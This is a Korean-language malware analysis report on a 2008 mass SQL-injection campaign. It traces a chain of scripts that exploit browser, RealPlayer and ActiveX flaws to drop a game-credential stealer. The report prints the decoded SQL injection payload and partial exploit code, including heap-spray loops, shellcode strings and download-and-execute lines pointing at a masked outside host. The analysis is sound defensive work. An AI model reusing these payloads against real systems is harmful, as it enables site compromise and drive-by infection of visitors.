SKInfosec-Tech-005 China Bot( 가칭 ) 악성코드분석 한상흠, 황교국 (m4gichack@gmail.com, fullc0de@gmail.com) SK Infosec Co., Inc MSS 사업본부침해대응팀
Table of Contents 1. 개요...3 2. MSSQL2005 취약점...4 3. 악성코드분석...7 3.1. 0.js...8 3.2. 0.js -> w.js...9 1) 1.exe...10 3.3. w.js->007.js...11 3.4. 007.js -> real007.html...11 3.5. real007.html...12 1) 06014.js...12 2) real.js...13 3) 07055.js...14 4) yahoo.js...15 3.6. hehehehe.exe...16 4. 마치며...17 5. Reference...17 2
1. 개요 뉴스를보면, 변종차이나봇이 MSSQL2005 를감염시켜 7 만여개의사이트를감염시켰다 는기사가발표가되었다. MSSQL2005 의취약점을이용을하였다는것으로이해가될수있다. 슬래머웜처럼 MSSQL 의취약점을노린봇이라면굉장히위험한것으로판단되어관련된내용을좀더 분석하여보았다. 해외뉴스레터인 Sans News Letter에도보고가되었으며 http://www.sans.org/newsletters/newsbites/newsbites.php?vol=10&issue=2&portal=18568 e8354c1477939922bd793b68360#sid200 링크를눌러보면확인을할수있다. 본문은 MSSQL 2005 에국한된것이아니라 Sql injection 공격에의해스크립트가삽입되 는공격위주로설명을하였다. 3
2. MSSQL2005 취약점 Microsoft 사의 security 권고문을보면현재 MSSQL 2005 의취약점이발표되지않음을 알수있다. http://www.microsoft.com/technet/security/current.aspx [ 그림 1. mssql 관련취약점권고 ] 4
각종취약점에대한 exploit 이올라와있는 milw0rm 사이트를검색해본결과 POC 조차도 올라와있지않았다. http://cve.mitre.org/cve/ 등에도취약점에대한권고문은찾아볼수 없었다. [ 그림 2. www.milw0rm.com] 5
이와관련하여 IIS 의보안로그를확보하였으며 sql injection 공격이인코딩되어있는 형태임을확인할수있다. POST /crapxxxtxxx.asp;declare%20@s%20nvarchar(4000);set%20@s=cast (0 4400450043004C004100520045002000400054002000760061007200630068006100720028003 2003500350C004000430020007600610072006300680061007200280032003500350029002000440 0450043004C0041005200450020004E004500580054002000460052004F004D00200020005400610 062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C00400 04300200045004E004400200043004C004F005300450020005400610062006C0065005F004300750 0720073006F00720020004400450041004C004C004F00430041005400450020005400610062006C0 065005F0043007500720073006F007200%20AS%20NVARCHAR(4000));EXEC(@S); 178 80040e14 Unclosed_quotation_mark S_NVARCHAR(4000);SET_@S=CAST(0 44004500430 xxx 3002000 디코딩을하면 SQL injection 쿼리를통하여공격이수행되고있음을알수있다. DECLARE @T varchar(255),@c varchar(255) DECLARE Table_Cursor OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+''<script rc=http://*.uc8010.com ></script>''') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor DECLARE @T varchar(255),@c 6
3. 악성코드분석 여전히 MSSQL2005에대한취약점을이용하였다는것은불분명하였지만확인된내용은 sql injection 쿼리가 http://*. uc8010.com 을취약점이있는모든필드에업데이트를하고있는형태로공격이되고있음을확인할수있었다. 과연이사이트는어떤내용포함하여감염시키고있을까? 전체적인감염 FLOW 는아래와같다. [ 그림 3. Malware 감염 FLOW] 7
3.1. 0.js function setcookie(name,value) { document.cookie = name + "="+ escape(value) +";expires="+ exp.togmtstring(); function getcookie(name) { var arr = document.cookie.match(new RegExp("(^ )"+name+"=([^;]*)(; $)")); if(arr!= null) { return unescape(arr[2]); else { document.writeln("<script src=hxxp://www.xxx.com/w.js><\/script>"); // document.writeln("<iframe src=\" hxxp://www.xxx.com/xxx.aspx\" width=\"20\" height=\"0\" scrolling=\"no\" frameborder=\"0\"><\/iframe>"); setcookie("lin","ok"); return null; getcookie("lin") 쿠키를만들어보내고있음을알수있으며 w.js 라는파일을실행시키는것을알수있다. 8
3.2. 0.js -> w.js document.writeln("<iframe src=http://www.xxx.com/1.html width=1 eight=0><\/iframe>"); document.writeln("<script src=\ http://www.xxx.com/.php?id=742266&web_id=742266\' language=\'javascript\' charset=\'gb2312\'><\/script>"); document.writeln("<script src= http://www.xxx.com /007.js' language=\'javascript\'><\/script>"); eval("\146\165\156\143\164\151\157\156\40\147\156\50\162\122\141\ 107\105\171\153\125\61\51\15\12\173\15\12\166\141\162\40\117\ \156\105\50\42\150\164\164\160\72\57\57\143\56\165\143\70\60\61 \60\56\143\157\155\57\60\57\61\56\145\170\145\42\54\42\61\71\5 6\145\170\145\42\51\73") w.js 파일을열면또다른취약점을이용하기위한코드를볼수있으며 eval 구문을디코딩해보면아래와같다. var chenzi=window["document"]["createelement"]("object"); love["savetofile"](china,2); love["close"](); var SmAcqIwGV8=chenzi["CreateObject"]("Shell.Application",""); exp1=hhf$r6["buildpath"](vgdnzxht7+'\\system32','cmd.exe'); SmAcqIwGV8["ShellExecute"](exp1,' /c '+china,"","open",0)catch(i){i=1 DownE("http://www.xxx.com/1.exe","19.exe"); 1.exe 파일을실행시키는것을알수있다. 9
1) 1.exe 1.exe 파일이실행되면레지스트리에 InProc서비스로등록하며 ShellExecuteHooks레지스트리에목록을추가한다. 즉, rundll32.exe를통해 InProc 서비스로등록되며시스템재시작시재등록되기위해레지스트리를수정한다. 윈도우즈전역후킹을통해시스템메시지를수신하여조작하는것으로판단된다. [ 그림 4. 메시지전역후킹화면 ] [ 그림 5. 서비스로레지스트리에등록 ] 10
3.3. w.js->007.js document.writeln("<iframe src=http://xxx.xxx.com/ real007.html width=1 height=0><\/iframe>"); document.writeln("<script language=\"javascript\" src=\"http:// xxx.xxx.com//click.aspx?id=83013911&logo=1\"><\/script>"); 을호출하고있다. 3.4. 007.js -> real007.html Real007.html 은아래의파일들을불러오는것을알수있다. <script src=06014.js></script> <script src=real.js></script> <script src=07055.js></script> <script src=yahoo.js></script> <script language="javascript" src="http://xxx.xxx.com/83013911&logo=1"></script> 11
3.5. real007.html 1) 06014.js MS06-014 취약점을노리는페이지임을알수있다. http://www.microsoft.com/korea/technet/security/bulletin/ms06-014.mspx <script> document.writeln("<script>"); document.writeln("cuteqq='http://xxx.xxx.com/hehehehe.exe';"); document.writeln("qq784378237=\'c:\\\\microsoft.pif\';"); document.writeln("cuteqq784378237=\'c:\\\\microsoft.vbs\';"); document.writeln("cuteqqzf=\"set Cuteqqcn = document.writeln("smacqiwgv8[\"shellexecute\"](exp1,\' \/c echo cmd.exe \/c C:\\\\MicroSoft.pif >C:\\\\MicroSoft.bat\',\"\",\"open\",0);"); document.writeln("<script type=\"text\/jscript\">function init() { document.write(\"\");window.onload = init;<\/script>"); document.writeln("<body oncontextmenu=\"return false\" onselectstart=\"return false\" ondragstart=\"return false\">"); document.writeln("<\/pre><\/body>"); document.writeln(""); </script> 12
2) real.js 리얼플레이어를노리는 exploit 임을알수있다. <script language="javascript"> function RealExploit() { RealVersion = Real.PlayerProperty("PRODUCTVERSION"); Padding = ""; JmpOver = unescape("%75%06%74%04"); for(i=0;i<32*148;i++) Padding += "S"; AdjESP = "LLLL\\XXXXXLD"; Shell ="TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIxkR0qJPJP3YY0fNYwLEQk0p47z pfkrkjjkve9xjkyoioyoloocqv3vsvwlurkwrvavbfqvjmwvszzmfv0z8k8mwvpnxmmn8 mdubzjmebshun3uluhmfxw6pemmzm7xprf5nkdpp107zmpye5mmzmj44lqxgonukptrr u33utnsspnvoqxqu1xperhpee8qutn55d83umpgp"; Real.Import("c:\\Program Files\\NetMeeting\\TestSnd.wav", PayLoad,"", 0, 0); RealExploit(); </script> 13
3) 07055.js MS07-055 취약점을노리는페이지임을알수있다. http://www.microsoft.com/technet/security/bulletin/ms07-055.mspx <html> <head> <title>microsoft Internet Explorer TIF/TIFF Code Execution (MS07-055)</title> <script language="javascript"> var memory = new Array(); function getsprayslide(sprayslide, sprayslidesize) { while (sprayslide.length*2<sprayslidesize) { sprayslide += sprayslide; sprayslide = sprayslide.substring(0,sprayslidesize/2); return sprayslide; sprayslide = getsprayslide(sprayslide,sprayslidesize); heapblocks = (heapspraytoaddress - 0x400000)/heapBlockSize; for (i=0;i<heapblocks;i++) { memory[i] = sprayslide + payloadcode; return 0; makeslide(); </script> </head> <body> <img src="ms07-055.tif"> </body> </html> 14
4) yahoo.js 이것은 Yahoo 0day Ywcupl.dll ActiveX Exploit Download And Exec를이용하여악성파일을다운로드시키는형태이다 <html> <object classid="clsid:dce2f8b1-a520-11d4-8fd0-00d0b7730277" id='viewme'></object> <body> <SCRIPT language="javascript"> var shellcode = unescape("%u9090%u9090%u9090%u9090" + "%u54eb%u758b%u8b3c%u3574%u0378%u56f5%u768b%u0320" + bigblock = unescape("%u9090%u9090"); headersize = 20; slackspace = headersize+shellcode.length; while (bigblock.length<slackspace) bigblock+=bigblock; fillblock = bigblock.substring(0, slackspace); block = bigblock.substring(0, bigblock.length-slackspace); while(block.length+slackspace<0x40000) block = block+block+fillblock; memory = new Array(); for (x=0; x<500; x++) memory[x] = block + shellcode; var buffer = '\x0a'; while (buffer.length < 5000) buffer+='\x0a\x0a\x0a\x0a'; viewme.server = buffer; viewme.initialize(); viewme.send(); </script> </body> </html> 15
3.6. hehehehe.exe 주요공격코드 4가지는모두특정도메인으로부터 hehehehe.exe을다운로드하도록설계되어있다. 해당파일을실행한결과국내특정게임을공격하는악성프로그램임을알수있다. [ 그림 6. system.dll] [ 그림 7. 레지스트리생성, 제거 ] [ 그림 8. 게임관련공격 ] 바이너리파일을분석한결과국내게임프로그램을공격한악성프로그램임을확인하였지 만또다른프로그램들을타겟으로공격하는것들이분명존재할것이다. 16
4. 마치며 이로써 http://*. uc8010.com는여러형태의악성코드를뿌리고있는사이트로분석이마쳤다. 취약점이있는 PC 등을감염시키기위하여여려가지형태의공격을하고있는것을알수있다. 전통적으로 IE 취약점을노리고있었지만사용자들이많이쓰고있는어플리케이션취약점을이용하여감염을시키려고하는것을알수있었다. IE 보안패치뿐만아니라각종어플리케이션의보안패치도생활화하여야할것이다. 5. Reference http://english.zhuaxia.com/pre_channel http://www.castlecops.com/ 17